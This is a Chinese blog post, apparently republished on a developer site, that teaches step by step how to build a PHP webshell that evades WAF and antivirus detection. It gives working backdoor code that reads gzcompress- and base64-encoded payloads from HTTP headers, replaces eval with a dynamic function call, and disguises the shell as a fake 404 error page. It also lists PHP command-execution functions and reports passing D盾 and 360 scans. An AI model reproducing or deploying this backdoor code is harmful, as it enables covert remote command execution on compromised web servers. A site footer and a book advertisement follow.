内容简介:渗透测试小技巧之过waf木马
在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!
Once step
普通一句话木马:
<?php eval($_POST['caidao']);?>
Second step
首先大家看下这个东西:
不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:
$compressed = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9); $uncompressed = gzuncompress($compressed); echo $compressed; ?>
Third step
那么重点来了!
我要说的就是 gzcompress
这个函数。然后我又查了查相关资料,找到了 PHP 中具有相同功能的函数还有两个: gzdeflate
, gzencode
。
科普下:
压缩函数:gzcompress gzdeflate gzencode 解压函数:gzuncompress gzinflate gzdecode gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。 这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。 gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同: gzcompress使用的是ZLIB格式; gzdeflate使用的是纯粹的DEFLATE格式; gzencode使用的是GZIP格式; 其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。 有兴趣的自己在找找吧
Fourth step
写个生成密文的文件。
考虑到可能字符显示不全,无法识别等原因,再套一层base64。
if(isset($_POST['str'])){ $str = $_POST['str']; $compressed = base64_encode(gzcompress($str, 9)); echo $compressed; } ?>
Fifth step
结合访问日志记录用到的 getallheaders
函数,最终的webshell如下:
<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));>
用D盾查一下
虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:
<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));>
看下webshell可用性
这里注意下,使用eval的话会报错,具体的原因请查看 错误详情
在安利下命令执行的一些函数:
'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_open
Sixth step
再用D盾检测下
还是可疑啊,那行再伪造伪造下
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <?php $cai=getallheaders()['cai']; $dao=getallheaders()['dao']; if($cai!="" and $dao!=""){ $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao))); } header('HTTP/1.1 404 Not Found'); ?> </body></html>
再检测下:
360 5引擎检测下
very perfect!
如果觉得自己添加头麻烦可疑使用自带的请求头字段:
getallheaders()['Accept-Language'] getallheaders()['User-Agent'] getallheaders()['Accept']
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 木马分析:分析针对意大利的Ursnif银行木马
- 驱动人生供应链木马攻击2019.1.30变种木马分析
- 年度挖矿木马研究浅谈:2019或是挖矿木马“转型”年
- 幽虫木马分析
- SpeakUp木马技术分析
- Qbot银行木马分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Android群英传
徐宜生 / 电子工业出版社 / 2015-9 / 69.00元
《Android群英传》对具有一定Android开发基础的读者,以通俗易懂的语言介绍了Android开发的进阶技巧。《Android群英传》共分为13章,讲解了Android体系与系统架构、Android开发工具新接触、Android控件架构与自定义控件详解、ListView使用技巧、Android Scroll分析、Android绘图机制与处理技巧、Android动画机制与使用技巧、Activi......一起来看看 《Android群英传》 这本书的介绍吧!